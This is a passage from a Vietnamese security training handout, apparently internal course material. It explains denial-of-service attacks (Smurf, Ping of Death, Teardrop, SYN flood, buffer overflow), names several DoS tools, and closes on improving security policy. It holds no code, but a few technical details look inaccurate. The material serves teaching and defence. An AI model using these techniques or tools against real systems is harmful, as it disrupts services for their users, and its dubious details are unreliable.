2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 44 hiểm nhất. Công ty này đã đưa ra một nghệ mới trong Veritas, VxMS (Dịch vụ bản đồ hóa Veritas – Veritas Mapping Service), đưa ra bộ quét chống virus bỏ qua Windows File System API, thành phần được điều khiển bởi hệ điều hành có thể gây ra lỗ hổng bởi một rootkit. VxMS truy cập trực tiếp vào các file thô của hệ thống Windows NT File System. Bên cạnh đó các hãng phần mềm chống virus khác cũng đang cố gắng trong việc chống lại rootkit này gồm có McAfee và FSecure. B.Dos : 1.Khái Niệm: -Tấn công DoS là kiểu tấn công vô cùng nguy hiểm, để hiểu được nó ta cần phải lắm rõ định nghĩa của tấn công DoS và các dạng tấn công DoS. - Tấn công DoS là một kiểu tấn công mà một người làm cho một hệ thống không thể sử dụng, hoặc làm cho hệ thống đó chậm đi một cách đáng kể với người dùng bình thường, bằng cách làm quá tải tài nguyên của hệ thống. - Nếu kẻ tấn công không có khả năng thâm nhập được vào hệ thống, thì chúng cố gắng tìm cách làm cho hệ thống đó sụp đổ và không có khả năng phục vụ người dùng bình thường đó là tấn công Denial of Service (DoS). Mặc dù tấn công DoS không có khả năng truy cập vào dữ liệu thực của hệ thống nhưng nó có thể làm gián đoạn các dịch vụ mà hệ thống đó cung cấp. Như định nghĩa trên DoS khi tấn công vào một hệ thống sẽ khai thác những cái yếu nhất của hệ thống để tấn công, những mục đích của tấn công DoS. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 45 2. Mục Đích: - Cố gắng chiếm băng thông mạng và làm hệ thống mạng bị ngập (flood), khi đó hệ thống mạng sẽ không có khả năng đáp ứng những dịch vụ khác cho người dùng bình thường. - Cố gắng làm ngắt kết nối giữa hai máy, và ngăn chặn quá trình truy cập vào dịch vụ. - Cố gắng ngăn chặn những người dùng cụ thể vào một dịch vụ nào đó - Cố gắng ngăn chặn các dịch vụ không cho người khác có khả năng truy cập vào. - Khi tấn công DoS xảy ra người dùng có cảm giác khi truy cập vào dịch vụ đó như bị: + Disable Network - Tắt mạng + Disable Organization - Tổ chức không hoạt động + Financial Loss – Tài chính bị mất 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 46 3. Mục Tiêu Tấn Công: Như chúng ta biết ở bên trên tấn công DoS xảy ra khi kẻ tấn công sử dụng hết tài nguyên của hệ thống và hệ thống không thể đáp ứng cho người dùng bình thường được vậy các tài nguyên chúng thường sử dụng để tấn công là gì: - Tạo ra sự khan hiếm, những giới hạn và không đổi mới tài nguyên - Băng thông của hệ thống mạng (Network Bandwidth), bộ nhớ, ổ đĩa, và CPU Time hay cấu trúc dữ liệu đều là mục tiêu của tấn công DoS. - Tấn công vào hệ thống khác phục vụ cho mạng máy tính như: hệ thống điều hoà, hệ thống điện, hệt hống làm mát và nhiều tài nguyên khác của doanh nghiệp. Bạn thử tưởng tượng khi nguồn điện vào máy chủ web bị ngắt thì người dùng có thể truy cập vào máy chủ đó không. - Phá hoại hoặc thay đổi các thông tin cấu hình. - Phá hoại tầng vật lý hoặc các thiết bị mạng như nguồn điện, điều hoà 4. Các kiểu tấn công : Tấn công Denial of Service chia ra làm hai loại tấn công - Tấn công DoS: Tấn công từ một cá thể, hay tập hợp các cá thể. - Tấn công DDoS: Đây là sự tấn công từ một mạng máy tính được thiết kế để tấn công tới một đích cụ thể nào đó. Các dạng tấn công DoS - Smurf - Buffer Overflow Attack 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 47 - Ping of Death - Teardrop - SYN Attack a. Tấn công Smurf - Là thủ phạm sinh ra cực nhiều giao tiếp ICMP (ping) tới địa chỉ Broadcast của nhiều mạng với địa chỉ nguồn là mục tiêu cần tấn công. * Chúng ta cần lưu ý là: Khi ping tới một địa chỉ là quá trình hai chiều – Khi máy A ping tới máy B máy B reply lại hoàn tất quá trình. Khi tôi ping tới địa chỉ Broadcast của mạng nào đó thì toàn bộ các máy tính trong mạng đó sẽ Reply lại tôi. Nhưng giờ tôi thay đổi địa chỉ nguồn, thay địa chỉ nguồn là máy C và tôi ping tới địa chỉ Broadcast của một mạng nào đó, thì toàn bộ các máy tính trong mạng đó sẽ reply lại vào máy C chứ không phải tôi và đó là tấn công Smurf. - Kết quả đích tấn công sẽ phải chịu nhận một đợt Reply gói ICMP cực lớn và làm cho mạng bị dớt hoặc bị chậm lại không có khả năng đáp ứng các dịch vụ khác. - Quá trình này được khuyếch đại khi có luồng ping reply từ một mạng được kết nối với nhau (mạng BOT). 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 48 - tấn công Fraggle, chúng sử dụng UDP echo và tương tự như tấn công Smurf. b.Tấn công Buffer overflow - Buffer Overflow xảy ra tại bất kỳ thời điểm nào có chương trình ghi lượng thông tin lớn hơn dung lượng của bộ nhớ đệm trong bộ nhớ. - Kẻ tấn công có thể ghi đè lên dữ liệu và điều khiển chạy các chương trình và đánh cắp quyền điều khiển của một số chương trình nhằm thực thi các đoạn mã nguy hiểm. - Tấn công Buffer Overflow tôi đã trình bày cách khai thác lỗi này trong bài viết trước về hacking windows cũng trên trang www.vnexperts.net. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 49 - Quá trình gửi một bức thư điện tử mà file đính kèm dài quá 256 ký tự có thể sẽ xảy ra quá trình tràn bộ nhớ đệm. c. Tấn công Ping of Death - Kẻ tấn công gửi những gói tin IP lớn hơn số lương bytes cho phép của tin IP là 65.536 bytes. - Quá trình chia nhỏ gói tin IP thành những phần nhỏ được thực hiện ở layer II. - Quá trình chia nhỏ có thể thực hiện với gói IP lớn hơn 65.536 bytes. Nhưng hệ điều hành không thể nhận biết được độ lớn của gói tin này và sẽ bị khởi động lại, hay đơn giản là sẽ bị gián đoạn giao tiếp. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 50 - Để nhận biết kẻ tấn công gửi gói tin lớn hơn gói tin cho phép thì tương đối dễ dàng. d.Tấn công Teardrop - Gói tin IP rất lớn khi đến Router sẽ bị chia nhỏ làm nhiều phần nhỏ. - Kẻ tấn công sử dụng sử dụng gói IP với các thông số rất khó hiểu để chia ra các phần nhỏ (fragment). - Nếu hệ điều hành nhận được các gói tin đã được chia nhỏ và không hiểu được, hệ thống cố gắng build lại gói tin và điều đó chiếm một phần tài nguyên hệ thống, nếu quá trình đó liên tục xảy ra hệ thống không còn tài nguyên cho các ứng dụng khác, phục vụ các user khác. e. Tấn công SYN 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 51 - Kẻ tấn công gửi các yêu cầu (request ảo) TCP SYN tới máy chủ bị tấn công. Để xử lý lượng gói tin SYN này hệ thống cần tốn một lượng bộ nhớ cho kết nối. - Khi có rất nhiều gói SYN ảo tới máy chủ và chiếm hết các yêu cầu xử lý của máy chủ. Một người dùng bình thường kết nối tới máy chủ ban đầu thực hiện Request TCP SYN và lúc này máy chủ không còn khả năng đáp lại - kết nối không được thực hiện. - Đây là kiểu tấn công mà kẻ tấn công lợi dụng quá trình giao tiếp của TCP theo – Three-way. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 52 - Các đoạn mã nguy hiểm có khả năng sinh ra một số lượng cực lớn các gói TCP SYN tới máy chủ bị tấn công, địa chỉ IP nguồn của gói tin đã bị thay đổi và đó chính là tấn công DoS. - Hình bên trên thể hiện các giao tiếp bình thường với máy chủ và bên dưới thế hiện khi máy chủ bị tấn công gói SYN đến sẽ rất nhiều trong khi đó khả năng trả lời của máy chủ lại có hạn và khi đó máy chủ sẽ từ chối các truy cập hợp pháp. - Quá trình TCP Three-way handshake được thực hiện: Khi máy A muốn giao tiếp với máy B. (1) máy A bắn ra một gói TCP SYN tới máy B – (2) máy B khi nhận được gói SYN từ A sẽ gửi lại máy A gói ACK đồng ý kết nối – (3) máy A gửi lại máy B gói ACK và bắt đầu các giao tiếp dữ liệu. - Máy A và máy B sẽ dữ kết nối ít nhất là 75 giây, sau đó lại thực hiện một quá trình TCP Three-way handshake lần nữa để thực hiện phiên kết nối tiếp theo để trao đổi dữ liệu. - Thật không may kẻ tấn công đã lợi dụng kẽ hở này để thực hiện hành vi tấn công nhằm sử dụng hết tài nguyên của hệ thống bằng cách giảm thời gian yêu cầu Three-way handshake xuống rất nhỏ và không gửi lại gói ACK, cứ bắn gói SYN ra liên tục trong một thời gian nhất định và không bao giờ trả lời lại gói SYN&ACK từ máy bị tấn công. - Với nguyên tắc chỉ chấp nhận gói SYN từ một máy tới hệ thống sau mỗi 75 giây nếu địa chỉ IP nào vi phạm sẽ chuyển vào Rule deny access sẽ ngăn cản tấn công này. 5. Công cụ dung để tấn công: - Jolt2 - Bubonic.c - Land and LaTierra 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 53 - Targa - Blast20 - Nemesy - Panther2 - Crazy Pinger - Some Trouble - UDP Flood - FSMax C.Kết Luận: Phần trình bày ở trên đã phân tích một số trường hợp có những lỗ hổng bảo mật, những người tấn công có thể lợi dụng những lỗ hổng này để tạo ra những lỗ hổng khác tạo thành một chuỗi mắt xích những lỗ hổng. Ví dụ, một người muốn xâm nhập vào hệ thống mà anh ta không có tài khoản truy nhập hợp lệ trên hệ thống đó. Trong trường hợp này, trước tiên anh ta sẽ tìm ra các điểm yếu trên hệ thống, hoặc từ các chính sách bảo mật, hoặc sử dụng các công cụ dò sét thông tin trên hệ thống đó để đạt được quyền truy nhập vào hệ thống. Sau khi mục tiêu như nhất đã đạt được, anh ta có thể tiếp tục tìm hiểu các dịch vụ trên hệ thống, nắm bắt được các điểm yếu và thực hiện các hành động tấn công tinh vi hơn. Từ các hoạt động kiểm tra, đánh giá nêu trên, các nhà quản trị hệ thống có thể rút ra được những kinh nghiệm để có thể cải thiện chính sách bảo mật hữu hiệu hơn. Cải thiện chính sách có thể là những hành động nhằm đơn giản công việc người sử dụng, giảm nhẹ tính cồng kềnh, phức tạp trên hệ thống, hoặc kiểm soát hệ thống chặt chẽ hơn nữa... Những hoạt đổng cải thiện chính sách bảo mật có thể diễn ra trong suốt 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 54 thời gian tồn tại của hệ thống đó, nó gắn liền với các công việc quản trị, duy trì hệ thống. Đây cũng chính là một yêu cầu trong khi xây dựng một chính sách bảo mật, cần phải luôn luôn mềm dẻo, có những thay đổi phù hợp tùy theo điều kiện thực tế.

Các file đính kèm theo tài liệu này:

  • pdftailieu.pdf
Tài liệu liên quan